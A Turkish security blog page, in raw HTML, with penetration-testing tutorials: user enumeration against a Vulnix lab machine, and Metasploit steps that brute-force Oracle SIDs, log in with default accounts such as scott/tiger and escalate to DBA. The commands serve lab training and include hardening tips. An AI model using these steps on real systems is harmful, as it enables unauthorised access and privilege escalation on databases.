src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s640/2.png" width="640" /></a></div><div style="text-align: justify;">Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s320/1.png" width="209" /></a></div><div style="text-align: justify;">Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde <b><i>Edit>Virtual Network Editor</i></b> bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s1600/33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s400/33.png" width="400" /></a></div><div style="text-align: justify;">Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.</div><h3><span style="color: #cc0000;"><br />1. Keşif ve IP/Port Tarama</span></h3><div style="text-align: justify;">Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.</div><h4>root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24</h4><div style="text-align: justify;">Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" /></a></div><h3><span style="color: #cc0000;"><br />2. Servisler Üzerinden Bilgi Toplama</span></h3><h3>a. SMTP</h3><div style="text-align: justify;">SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.</div><div style="text-align: justify;"><h4>root@agguvenligi:~# telnet hedef_ip_adresi 25<br />vrfy geçerli_kullanıcı_adı<br />vrfy geçersiz_kullanıcı_adı</h4><div>Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki <b><i>auxiliary/scanner/smtp/smtp_enum</i></b> modülü kullanılabilir.</div><div><h4>msf> use auxiliary/scanner/smtp/smtp_enum<br />msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101<br />msf auxiliary(smtp_enum) > run</h4></div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" /></a></div><br /></div><div>Manuel olarak yapılan örnekte <b>user </b>ve <b>vulnix </b>kullanıcılarının sistem üzerinde olduğu görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s1600/2013-08-24_204409.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s640/2013-08-24_204409.png" width="640" /></a></div></div></div><h3>b. FINGER</h3><div style="text-align: justify;">Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde </div><h4>root@agguvenligi:~# finger -l -p vulnix@192.168.1.101</h4><div style="text-align: justify;">komutu çalıştırılarak <b>vulnix </b>kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.</div><h4>root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s1600/2013-08-25_104440.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s640/2013-08-25_104440.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan </span><b style="text-align: justify;"><i>auxiliary/scanner/finger/finger_users</i></b><span style="text-align: justify;"> modülü kullanılabilir. Kullanımı şu şekildedir:</span></div><div><h4>msf> use auxiliary/scanner/finger/finger_users<br />msf auxiliary(finger_users) > set RHOSTS 192.168.1.101<br />RHOSTS => 192.168.1.101<br />msf auxiliary(finger_users) > run</h4></div></div><div class="separator" style="clear: both; text-align: center;"></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Bu...

Metasploit ile Oracle Veritabanlarına Yönelik Temel Sızma Testleri

<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FenPNHlJ2j2UqbukaLUXnfzLzKpNys-XGkKJ2wVWYTS1u1MZQu38XpEwSx2ORUgjXdYUMuaoCfVXEyoUMu5szxnL_NVNUag9CNuwk1mzkwtSRPwumIV_cOm6UD_yCSe5qtKvrxrcJPxZ/s1600/msf_oracle.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FenPNHlJ2j2UqbukaLUXnfzLzKpNys-XGkKJ2wVWYTS1u1MZQu38XpEwSx2ORUgjXdYUMuaoCfVXEyoUMu5szxnL_NVNUag9CNuwk1mzkwtSRPwumIV_cOm6UD_yCSe5qtKvrxrcJPxZ/s320/msf_oracle.jpg" width="320" /></a>Oracle veritabanı kurumsal bilgi işlem altyapılarında performans ve güvenilirliği nedeniyle sıklıkla tercih edilmektedir. Dolayısıyla üzerinde bulunması olası zafiyetlere karşı güvenlik testlerine tabi tutulması önerilmektedir. Bu not Oracle10g sürümü üzerinde Metasploit Framework kullanılarak adım adım temel bir sızma testinin nasıl gerçekleştirilebileceği anlatılacaktır.<br /><br /><a name="more"></a></div><div><h3>1. IP/Port ve versiyon Keşfi</h3><div style="text-align: justify;">İlk olarak sızma testlerinin ilk adımı olan keşif adımı ile IP/Port ve uygulama sürümü belirlenir. Bunun için Nmap aracından faydalanılabilir. Nmap aşağıdaki opsiyonları ile kullanıldığında hedef sunucu üzerindeki aktif portları ve bu portları dinleyen servislerin sürümlerini belirleyebilmektedir. </div></div><div><h4># nmap -sT -sV -n -Pn --top-ports 2000 hedef_IP</h4></div><div class="separator" style="clear: both; text-align: center;"></div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiELdzuHEZYWmYQOjxLy1gki6XocqnZk3vTBTll6-twxqjkjoCIGbdn6VJlFAoYCayjgBbUaBtxqQ9dWwFbirzVTtlS4GY7x1mKFDk_W9Mm6pr1taf_U5BjFaqk3cvY0O4m7ZpdqewHDqsS/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiELdzuHEZYWmYQOjxLy1gki6XocqnZk3vTBTll6-twxqjkjoCIGbdn6VJlFAoYCayjgBbUaBtxqQ9dWwFbirzVTtlS4GY7x1mKFDk_W9Mm6pr1taf_U5BjFaqk3cvY0O4m7ZpdqewHDqsS/s640/1.png" width="640" /></a><br /><div><br /></div><div><h3>2. SID Değerinin Belirlenmesi</h3><div style="text-align: justify;">Oracle veritabanının bulunduğu sistem üzerindeki SID değerlerinin belirlenmesi gerçekleştirilir. Bağlantı kurabilmek için gerekli olan SID parametresi kaba kuvvet (brute force) atağı ile elde edilebilmektedir. Bunun için Metasploit içerisindeki <b>sid_brute</b> modülü kullanılabilir.</div></div><div><div><div style="text-align: justify;">Öncelikle Metasploit konsolu aşağıdaki komutla açılır.</div></div><h4># msfconsole</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuZtL3iBRHNkPGTYfT4JZU24ds6FmGTFr0rp_Oi8gp4KrG0q-xGxW6hYA8Z5SwJHIf9JsPlAmj8Q3GexFfbRkSnruNLJaZHnSoTFSrWLW8xJODZxaN5CHJgZ35NX4RCKkvMbc0mE_e04D/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuZtL3iBRHNkPGTYfT4JZU24ds6FmGTFr0rp_Oi8gp4KrG0q-xGxW6hYA8Z5SwJHIf9JsPlAmj8Q3GexFfbRkSnruNLJaZHnSoTFSrWLW8xJODZxaN5CHJgZ35NX4RCKkvMbc0mE_e04D/s400/2.png" width="385" /></a></div><div><br /></div><div>Bahsedilen modülün kullanımı için aşağıdaki komut girilir.</div><h4>msf>use auxiliary/scanner/oracle/sid_brute</h4></div><div><div style="text-align: justify;">Modülün kullanım seçeneklerini görmek ve hakkında detaylı bilgi edinmek için <b>info </b>komutu kullanılabilir.</div></div><div class="separator" style="clear: both; text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZa2avjAdA4PBSEGXgg5KcaPiaAuSaB3R2pryPsUjrxe1I16YWvFVp4RmCdawO38PBgqKql44tdFp2uaVNOQOuPIwcB1NATiGfku99aiHut9JzUCFrqzghLiICfgWmMhwP7x-e0waLePH-/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZa2avjAdA4PBSEGXgg5KcaPiaAuSaB3R2pryPsUjrxe1I16YWvFVp4RmCdawO38PBgqKql44tdFp2uaVNOQOuPIwcB1NATiGfku99aiHut9JzUCFrqzghLiICfgWmMhwP7x-e0waLePH-/s640/3.png" width="640" /></a></div><div><br /></div><div><div style="text-align: justify;">Özelliklerden de görüldüğü üzere ayarlanması gereken bazı parametreler bulunmaktadır. Bunların başında hedef IP ve port bilgilerinin sırasıyla <b>RHOSTS</b> ve <b>RPORT </b>değişkenlerine atanması gerekmektedir. Varsayılan olarak görüldüğü üzere <b><i>/opt/metasploit/msf3/data/wordlists/sid.txt</i></b> sözlüğü kullanılmaktadır. Bunun içeriği değiştirilebileceği gibi varsa başka bir sözlük dosyası da kullanılabilir. Örnekte yapılan ayarlar şu şekildedir:</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg03aqtkx2gNIoRuwI-DRK3u17iYi6h3wty50uwKLsDu5r7PUaOcKo4rJ3xQZZ0RCAjpC_WRezPmYSAiso_Yx4Zip0h3Dv0gCEXdWeo9pHYu0z_b5ygBRThPHqH_9D1e39HLDOIRFS8bF_y/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="337" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg03aqtkx2gNIoRuwI-DRK3u17iYi6h3wty50uwKLsDu5r7PUaOcKo4rJ3xQZZ0RCAjpC_WRezPmYSAiso_Yx4Zip0h3Dv0gCEXdWeo9pHYu0z_b5ygBRThPHqH_9D1e39HLDOIRFS8bF_y/s400/4.png" width="400" /></a></div><div><div style="text-align: justify;">Uygun ayarlar gerçekleştirildikten sonra <b>run </b>komutu ile modül çalıştırılabilir. Modül çıktısı aşağıdaki gibi olmaktadır.</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTOVglzPeeYHNoR7xQs6xbUMWTP8c2ZyM0hQyiukfxWO81LqnBHIQwfy2d1Q63ukRuJqULVE3YvzSFyZAhysbu42z6SiDazOQ5h-e8S1xVlql0oUX4KTE3_NZlzrJ7ljC6bS0XIfdi0G0S/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTOVglzPeeYHNoR7xQs6xbUMWTP8c2ZyM0hQyiukfxWO81LqnBHIQwfy2d1Q63ukRuJqULVE3YvzSFyZAhysbu42z6SiDazOQ5h-e8S1xVlql0oUX4KTE3_NZlzrJ7ljC6bS0XIfdi0G0S/s400/5.png" width="400" /></a></div><div><br /></div><div><div style="text-align: justify;">Burada belirlenen SID değerlerinden <b>TSH1 </b>sonraki adımda kullanılacaktır.</div><blockquote class="tr_bq"><span style="color: #cc0000;">Özellikle, kurulum sırasında SID değeri varsayılan olarak bırakılmış veritabanlarında ciddi oranda başarılı olan bir keşif çalışması olan bu örnekte kullanılan sözlük ne kadar kuvvetliyse başarı oranı o derece yüksek olmaktadır. Dolayısıyla güvenlik açısından önerilen SID değerlerinin tahmini zor olacak şekilde değiştirilmesidir.</span></blockquote><div style="text-align: justify;"><h3>3. Varsayılan Hesapların Belirlenmesi</h3></div><div style="text-align: justify;">Bu aşamada veritabanı üzerindeki kullanıcılara yönelik kaba kuvvet saldırısı gerçekleştirilecektir. Bunun için yine Metasploit içerisinde mevcut olan modüllerden <b>auxiliary/admin/oracle/oracle_login</b> modülü kullanılabilir.Örnekte kullandığımız hedef sistemin IP adresi ve belirlenen SID değeri aşağıdaki şekilde girilebilir.</div><h4>msf > use auxiliary/admin/oracle/oracle_login<br />msf  auxiliary(oracle_login) > set RHOST 192.168.1.90<br />msf  auxiliary(oracle_login) > set SID TSH1</h4><div style="text-align: justify;">Parametreler belirlendikten sonra <b>info </b>komutu ile modülün son durumu aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2akebV5OdNouQNa3TgCb1NKOgcMSaDyDbK2MwOX5XxYTwW_mG27lPdr_kuufQey2EPw1EzItORClZpLHAncjsTguahvIDPLLgn-JTLrWcfsIKf5gFb0nH_w0TtvlLgykE5QT11D6ZQJJc/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2akebV5OdNouQNa3TgCb1NKOgcMSaDyDbK2MwOX5XxYTwW_mG27lPdr_kuufQey2EPw1EzItORClZpLHAncjsTguahvIDPLLgn-JTLrWcfsIKf5gFb0nH_w0TtvlLgykE5QT11D6ZQJJc/s1600/6.png" /></a></div><div style="text-align: justify;">Burada kullanılan parola dosyası <a href="http://www.petefinnigan.com/default/oracle_default_passwords.csv" target="_blank">bağlantıdan </a>da temin edilebilir. run komutu ile modül çalıştırıldığında çıktı aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyW9Ff-fl9otxP4XjPISv88CIsofWmt590-1ShttozzDSEuw0zBDmkStJTEnkIgfu4vcZFoxuRIc5wTdB5PBszMf7pY4AnThtd0FWHKDBXEBqMriuO1edSQuVSSPe9o3HfCNw09nmmOPKq/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyW9Ff-fl9otxP4XjPISv88CIsofWmt590-1ShttozzDSEuw0zBDmkStJTEnkIgfu4vcZFoxuRIc5wTdB5PBszMf7pY4AnThtd0FWHKDBXEBqMriuO1edSQuVSSPe9o3HfCNw09nmmOPKq/s1600/7.png" /></a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Çıktıdan da görülebileceği üzere <b>dbsnmp/dbsnmp </b>ve <b>scott/tiger</b> kullanıcı adı&parola bilgileri ile erişim sağlanabileceği görülmektedir.</div><div style="text-align: justify;"><blockquote class="tr_bq"><span style="color: #cc0000;">Bu saldırı özellikle kurulum esnasında varsayılan olarak gelen hesapların açık bırakıldığı veritabanlarında ciddi oranda başarılı olabilmektedir. Kullanılan sözlük ne kadar kuvvetliyse başarı oranı o derece yüksek olmaktadır. Önlem olarak bu hesaplar kilitlenmeli ya da kaldırılmalıdır.</span></blockquote></div><div style="text-align: justify;"><h3>4. Açıklıktan Faydalanılarak Hak Yükseltme</h3>Bu maddedeki amaç erişim sağlanmış Oracle veritabanındaki açıklıklardan yararlanarak yetkisiz hak yükseltilip DBA olunabileceğini göstermektir. Bunun için Metasploit içerisindeki <b>auxiliary/sqli/oracle/dbms_export_extension</b> modülü kullanılabilir. Modül ve hakkındaki bilgiler aşağıdaki gibidir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAKEemZjTTNro9WUT05O95tZ5PMAgtV3aoSdHuHEpe8OfvvZQ1NARikDpZhon-mt_uaTRng6A21DHzHy2A92-NKjwO8wyyyR4MrfCbEzWVltGqPmm_kaKpMPlEGuaZNzOoeIPyCYO_RyAV/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAKEemZjTTNro9WUT05O95tZ5PMAgtV3aoSdHuHEpe8OfvvZQ1NARikDpZhon-mt_uaTRng6A21DHzHy2A92-NKjwO8wyyyR4MrfCbEzWVltGqPmm_kaKpMPlEGuaZNzOoeIPyCYO_RyAV/s1600/8.png" /></a></div><br />İlgili parametrelere uygun değerler girilir.<br /><h4>> set RHOST 192.168.1.90<br />> set SID TSH1<br />> set DBUSER SCOTT<br />> set DBPASS TIGER</h4><blockquote class="tr_bq"><span style="color: #674ea7;">Parametrelere girilen değerler küçük/büyük harf duyarlı olduğu için dikkat edilmesi gerekmektedir.</span></blockquote><div><b>run </b>komutu ile birlikte modül çalıştırılır. Çıktı aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_fLnXI73DbnOoXdCE0utHvJLRga6YgzigdHAk3-dg7sVsqroEpvT0f6T4ickj7honrAm-nnYkl6WoCRAUdQt5TtuoJU_0AcW2aB1HQVohFM8ap84d7_mR9kZ-2hxU7OUs0ZNyY9rrALO/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_fLnXI73DbnOoXdCE0utHvJLRga6YgzigdHAk3-dg7sVsqroEpvT0f6T4ickj7honrAm-nnYkl6WoCRAUdQt5TtuoJU_0AcW2aB1HQVohFM8ap84d7_mR9kZ-2hxU7OUs0ZNyY9rrALO/s1600/9.png" /></a></div><blockquote class="tr_bq"><span style="color: #cc0000;">Bu adım sonucunda ele geçirilmiş bir kullanıcı adı&parola bilgisi ile yüksek haklara sahip bir kullanıcı oluşturulabildiği görülmüştür. Mümkün olduğu kadar varsayılan olarak gelen kullanıcılar silinmeli ya da kilitlenmelidir. Kullanılanlar var ise mutlaka parolaları tahmin edilemeyecek zorlukta olacak şekilde değiştirilmelidir.</span></blockquote><h3>5. Doğrulama</h3>Son olarak aşağıdaki komutlar ile  hakkı yükseltilen kullanıcının veritabanına bağlanması ve yetki seviyesinin gösterimi yapılabilir.<br /><h4># sqlplus scott/tiger@192.168.1.90/TSH1<br />SQL>  select * from user_role_privs;</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmhIZkj1YanyCNXsHTTM47XgVTYM5e50WilWXdyZ0UwEB9Ra78K-VJGr3b3HV8pHgG8KSTmdlL2F3Cr8VB5uAoMveVQQF6oLoXMIv3T1agCJvtH21HAE_hQUCBCd5DYIjQ7gcA25LAhUDZ/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="369" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmhIZkj1YanyCNXsHTTM47XgVTYM5e50WilWXdyZ0UwEB9Ra78K-VJGr3b3HV8pHgG8KSTmdlL2F3Cr8VB5uAoMveVQQF6oLoXMIv3T1agCJvtH21HAE_hQUCBCd5DYIjQ7gcA25LAhUDZ/s640/10.png" width="640" /></a></div></div></div>

Metasploit ile Oracle Veritabanlarına Yönelik Temel Sızma Testleri

Oracle veritabanı kurumsal bilgi işlem altyapılarında performans ve güvenilirliği nedeniyle sıklıkla tercih edilmektedir. Dolayısıyla üzerin...

Kali Linux - Metasploit Framework Servisinin Çalıştırılması

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiILShbio9vcbi7inh-qLEwhSZ0LpTPZ7vAbfOlwp6t2JRhdzvvlPDxDoskSymy8z3WzV8CvBQTC3VqOF3we0YqHGH6QeZf6rnqh0NfYc0NQVuW7buKFtfthjxkUBPtYKa5WSLbqG-aDOKY/s1600/msf_startup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiILShbio9vcbi7inh-qLEwhSZ0LpTPZ7vAbfOlwp6t2JRhdzvvlPDxDoskSymy8z3WzV8CvBQTC3VqOF3we0YqHGH6QeZf6rnqh0NfYc0NQVuW7buKFtfthjxkUBPtYKa5WSLbqG-aDOKY/s1600/msf_startup.png" /></a></div>Kali Linux, <b><i>Network Servisleri Politikaları</i></b> gereğince veritabanı servisleri de dahil olmak üzere herhangi bir ağ servisi içermemektedir. Dolayısıyla Metasploit'i veritabanı desteği ile beraber çalıştırmak için aşağıdaki yapılandırmalar uygulanmalıdır.<br /><a name="more"></a></div><h2>PostgreSQL servisinin başlatılması</h2>Metasploit, PostgreSQL veritabanını kullandığı için öncelikle bu servisin çalıştırılması gerekir.<br /><h4># service postgresql start</h4><b>netstat </b>komutu çıktısı ile PostgreSQL servisinin <b>5432 </b>portundan çalıştığı teyit edilebilir.<br /><h4>State Recv-Q Send-Q Local Address:Port Peer Address:Port<br />LISTEN 0 128 :::22 :::*<br />LISTEN 0 128 *:22 *:*<br />LISTEN 0 128 127.0.0.1:5432 *:*<br />LISTEN 0 128 ::1:5432 :::*</h4><h2>Metasploit servisinin başlatılması</h2><div style="text-align: justify;">Servis ilk başlatıldığında <b>msf3 </b>adında veritabanı ve kullanıcısı oluşturmaktadır. Ayrıca Metasploit RPC ve Web sunucusuda başlatılmaktadır.</div><h4>#service metasploit start</h4><h2>Msfconsole'un başlatılması</h2><div style="text-align: justify;">PostgreSQL ve Metasploit başlatıldıktan sonra msfconsole çalıştırılarak <b>db_status </b>komutu ile veritabanı bağlantısı teyit edilebilir.</div><h4>msfconsole<br />msf > db_status<br />[*] postgresql connected to msf3<br />msf ></h4><h2>Metasploit'i başlangıçta çalışacak şekilde yapılandırmak</h2><span style="text-align: justify;">PostgreSQL ve Metasploit</span><span style="text-align: justify;"> servislerini başlangıçta çalışacak şekilde yapılandırmak için </span><b>update-rc.d</b> komutu aşağıdaki şekli ile kullanılabilir.<br /><h4># update-rc.d postgresql enable<br /># update-rc.d metasploit enable</h4>

Kali Linux - Metasploit Framework Servisinin Çalıştırılması

Kali Linux, Network Servisleri Politikaları gereğince veritabanı servisleri de dahil olmak üzere herhangi bir ağ servisi içermemektedir. Do...

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

